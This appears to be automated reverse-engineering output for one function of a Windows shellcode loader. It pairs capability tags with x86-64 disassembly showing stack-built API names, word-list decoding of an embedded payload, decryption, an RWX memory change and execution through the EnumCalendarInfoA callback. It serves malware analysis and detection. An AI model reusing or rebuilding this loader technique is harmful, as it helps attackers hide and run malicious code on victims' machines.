Function at 0x404240
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Execute shellcode via windows callback function
Link many functions at runtime

Disassembly:
push r13
mov eax, 0x1c98
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.00404000
sub rsp, rax
mov ebx, 0x6c6c
mov esi, 0x6c
call fcn.00402c30
xor r10d, r10d
xor r11d, r11d
mov word [rsp + 0x6a], bx
movdqa xmm0, xmmword [str.User32.dKernel32]
mov byte [rsp + 0x6c], 0
movabs rax, 0x6c006c0064002e
mov qword [rsp + 0x1c0], rax
movabs rax, 0x4464616f4c72644c
movaps xmmword [rsp + 0x190], xmm0
movdqa xmm0, xmmword [0x00407ac0]
lea rdx, [rsp + 0x190]
mov qword [rsp + 0x62], rax
movabs rax, 0x6c642e6c6c64746e
mov qword [rsp + 0x58], rax
mov rax, rdx
mov dword [rsp + 0x1a0], 0x6c006c
mov word [rsp + 0x1a4], r10w
movaps xmmword [rsp + 0x1b0], xmm0
mov word [rsp + 0x1c8], r11w
mov word [rsp + 0x60], si
add rax, 2
cmp word [rax], 0
jne 0x4042f1
sub rax, rdx
mov qword [rsp + 0xb8], rdx
mov word [rsp + 0xb0], ax
lea rdx, [rsp + 0x1b0]
add eax, 2
mov word [rsp + 0xb2], ax
mov rax, rdx
add rax, 2
cmp word [rax], 0
jne 0x404324
mov r13, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
sub rax, rdx
mov qword [rsp + 0xc8], rdx
mov word [rsp + 0xc0], ax
lea rcx, [rsp + 0x58]
add eax, 2
mov word [rsp + 0xc2], ax
call r13
mov rbx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x62]
mov rcx, rax
call rbx
mov r9d, 4
mov r8d, 0x3000
xor ecx, ecx
add rax, 5
mov edx, 0x13
mov dword [rsp + 0x3c], 0xc3e3ff41
mov rdi, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x50], rax
call rdi
lea r9, [rsp + 0x34]
mov r8d, 0x20
mov edx, 0x1e
mov rbp, rax
mov dword [rax], 0x245c8948
mov eax, 0x4910
mov rsi, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov word [rbp + 4], ax
mov rax, qword [rsp + 0x50]
mov rcx, rbp
mov byte [rbp + 6], 0xbb
mov qword [rbp + 7], rax
mov eax, dword [rsp + 0x3c]
mov dword [rbp + 0xf], eax
mov dword [rsp + 0x34], 0
call rsi
lea r9, [rsp + 0x40]
xor edx, edx
xor ecx, ecx
lea r8, [rsp + 0xb0]
mov qword [rsp + 0x40], 0
call rbp
lea r9, [rsp + 0x48]
xor edx, edx
xor ecx, ecx
lea r8, [rsp + 0xc0]
mov qword [rsp + 0x48], 0
call rbp
lea rdx, [rsp + 0x79]
mov rcx, qword [rsp + 0x48]
movabs rax, 0x416c617574726956
mov qword [rsp + 0x79], rax
mov dword [rsp + 0x81], 0x636f6c6c
mov byte [rsp + 0x85], 0
call rbx
mov edx, 0x7463
mov rcx, qword [rsp + 0x48]
movabs rax, 0x506c617574726956
mov word [rsp + 0xad], dx
lea rdx, [rsp + 0xa1]
mov qword [rsp + 0xa1], rax
mov dword [rsp + 0xa9], 0x65746f72
mov byte [rsp + 0xaf], 0
call rbx
movdqa xmm0, xmmword [0x00407ad0]
mov ecx, 0x7972
mov byte [rsp + 0x162], 0
mov word [rsp + 0x160], cx
lea rdx, [rsp + 0x150]
mov rcx, qword [rsp + 0x48]
movaps xmmword [rsp + 0x150], xmm0
call rbx
lea rdx, [rsp + 0x170]
mov rcx, qword [rsp + 0x48]
mov dword [rsp + 0x180], 0x72656269
movdqa xmm0, xmmword [0x00407ae0]
mov rbp, rax
mov byte [rsp + 0x184], 0
movaps xmmword [rsp + 0x170], xmm0
call rbx
movdqa xmm0, xmmword [0x00407af0]
mov r8d, 0x73
mov word [rsp + 0x140], r8w
lea rdx, [rsp + 0x130]
mov rcx, qword [rsp + 0x48]
movaps xmmword [rsp + 0x130], xmm0
call rbx
lea rdx, [rsp + 0x6d]
mov rcx, qword [rsp + 0x48]
mov dword [rsp + 0x75], 0x726562
mov r12, rax
movabs rax, 0x6946657461657243
mov qword [rsp + 0x6d], rax
call rbx
mov r9d, 0x72
mov rcx, qword [rsp + 0x48]
movabs rax, 0x6f54686374697753
lea rdx, [rsp + 0x93]
mov word [rsp + 0x9f], r9w
mov qword [rsp + 0x93], rax
mov dword [rsp + 0x9b], 0x65626946
call rbx
movdqa xmm0, xmmword [0x00407b00]
movabs rax, 0x6573556575657551
mov byte [rsp + 0xe0], 0
lea rcx, str.kernel32.dll
mov qword [rsp + 0x86], rax
movaps xmmword [rsp + 0xd0], xmm0
mov dword [rsp + 0x8e], 0x43504172
mov byte [rsp + 0x92], 0
call r13
lea r13, [rsp + 0x290]
lea rdx, [rsp + 0x86]
mov rcx, rax
call rbx
lea rdx, [rsp + 0xd0]
mov rcx, qword [rsp + 0x48]
call rbx
mov r8d, 0x800
mov rcx, r13
lea rdx, str.ingravidation
call sub.msvcrt.dll_memcpy
lea r9, [rsp + 0xa90]
mov r8d, 0x900
lea rdx, str.hemiachromatopsia
mov rcx, r9
call sub.msvcrt.dll_memcpy
mov r11, qword [rsp + 0x290]
lea rbx, [rsp + 0x1390]
lea r10, [rsp + 0x5290]
mov r8, rax
mov r9, rbx
nop dword [rax]
mov rcx, qword [r8]
cmp r11, rcx
je 0x404790
mov edx, 1
jmp 0x404656
mov rdx, rax
lea rax, [rdx + 1]
cmp qword [r13 + rax*8 - 8], rcx
jne 0x404653
add r8, 8
mov byte [r9], dl
add r9, 1
cmp r10, r8
jne 0x404640
lea r13, [rsp + 0x1d0]
mov byte [rsp + 0x100], 0
movabs rax, 0x51514f765a725554
mov qword [rsp + 0xf0], rax
lea rdx, [rsp + 0xf0]
mov rcx, r13
movabs rax, 0x426b4f694748456c
mov qword [rsp + 0xf8], rax
lea r8, [rsp + 0x110]
movabs rax, 0x377176536d755a79
mov qword [rsp + 0x110], rax
movabs rax, 0x66454b6c7935785a
mov qword [rsp + 0x118], rax
mov byte [rsp + 0x120], 0
call fcn.00402740
mov rdx, rbx
mov rcx, r13
mov r8d, 0x120
call fcn.00402870
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
lea r13, [rsp + 0x38]
mov edx, 0x120
call rdi
mov r9, r13
mov r8d, 0x20
mov edx, 0x120
mov rdi, rax
mov rcx, rax
call rsi
mov r9, r13
mov rcx, rdi
mov r8d, 0x40
mov edx, 0x120
call rsi
call r12
mov r8, rbx
mov rdx, rdi
mov r9d, 0x120
mov qword [rsp + 0x20], 0
mov rcx, rax
call rbp
mov r9d, 0x15
mov edx, 0x400
mov rcx, rdi
mov r8d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
xor eax, eax
add rsp, 0x1c98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
xor edx, edx
add r8, 8
add r9, 1
mov byte [r9 - 1], dl
cmp r10, r8
jne 0x404640
jmp 0x404671